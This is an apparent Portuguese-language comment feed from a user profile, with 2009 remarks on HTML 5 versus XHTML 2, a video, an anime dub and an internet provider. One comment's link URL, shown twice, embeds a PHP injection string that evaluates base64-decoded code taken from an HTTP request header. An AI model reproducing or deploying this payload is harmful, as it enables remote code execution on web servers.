en-us https://www.intensedebate.com/users/306352 Comments by elomarns http://3folks.com/notfordummies/2009/04/02/conheca-o-maravilhoso-mundo-do-html-5/%#IDComment18013353 Eu acho que o principal problema do XHTML 2 não é nem se preocupar demais em separar a estrutura da apresentação, eliminando assim elementos sem semântica e focados unicamente na apresentação. Isso eu até acho uma coisa boa. Só que o W3C aborda a questão de forma muito burocrática e "revolucionária". Ou seja, o XHTML 2 é chato e ainda quebra a Web atual. Já o HTML 5 faz o óbvio: evolui o que já temos agora. Ele não se preocupa em ser mais do que precisa ser. XML pra quê? A preocupação primária é criar páginas Web, e ainda temos problemas a ser resolvidos nessa área, então não há porquê ficar imaginando coisas que os desenvolvedores podem vir a precisar num futuro remoto se temos problemas pra resolver agora. Além disso, um outro ponto positivo do HTML 5 é que ele tenta tornar as coisas mais semânticas. Enfim, nada de divs pras seções que todo site tem, afinal, se todo site tem, por que não criar um elemento pra essas seções? O mesmo vale pra conteúdo especial como áudio e vídeo. Como disse antes, o HTML 5 resolve problemas reais, e por isso eu acho, e espero, que ele se torne o padrão da indústria para criação de página Web. Thu, 2 Apr 2009 12:52:12 +0000 http://3folks.com/notfordummies/2009/04/02/conheca-o-maravilhoso-mundo-do-html-5/%#IDComment18013353 http://3folks.com/notfordummies/2009/03/27/as-mudancas-do-xhtml-20/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#IDComment17904774 Eu sinceramente acho que o W3C perdeu o bom senso. Na verdade, sempre achei discutível a utilidade do HTML virar um dialeto do XML, já que embora seja um conceito legal, na prática não apresenta tantas vantagens, até porque bem pouca gente usa aplicações que manipulam o XHTML como XML. E mesmo assim, não seria tão complicado ter o mesmo resultado de outra forma, bastaria criar um parser de HTML utilizando as regras já existentes. Mas agora as coisas tomaram proporções ainda maiores. O W3C abandonou completamente as necessidades dos desenvolvedores, e vai tentar empurrar goela abaixo uma linguagem de marcação que não acrescenta praticamente nenhum valor às páginas Web. Enfim, eles simplesmente querem quebrar a Web "porque sim e acabou!". Tue, 31 Mar 2009 10:27:09 +0000 http://3folks.com/notfordummies/2009/03/27/as-mudancas-do-xhtml-20/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#IDComment17904774 http://www.tomatecru.net/geral/manual-de-instrucoes-para-a-vida#IDComment16799740 Excelente vídeo. Através de uma parábola aparentemente boba, ele mostra o quão bem treinados nós somos em seguir regras sem questioná-las, execrando automaticamente qualquer um que faça as coisas de forma ligeiramente diferente. Thu, 12 Mar 2009 11:30:59 +0000 http://www.tomatecru.net/geral/manual-de-instrucoes-para-a-vida#IDComment16799740 http://www.tomatecru.net/comedia/cavaleiros-do-zodiaco-versao-brasileira#IDComment14415157 Reparem na cara de depresão do Hyoga e do Shiryu. Wed, 28 Jan 2009 18:27:22 +0000 http://www.tomatecru.net/comedia/cavaleiros-do-zodiaco-versao-brasileira#IDComment14415157 http://www.tomatecru.net/internet/velox-se-nao-vai-por-bem-vai-por-mal#IDComment14218033 Tem cascalho pra quem apoiar nos comentários? Wed, 21 Jan 2009 20:26:28 +0000 http://www.tomatecru.net/internet/velox-se-nao-vai-por-bem-vai-por-mal#IDComment14218033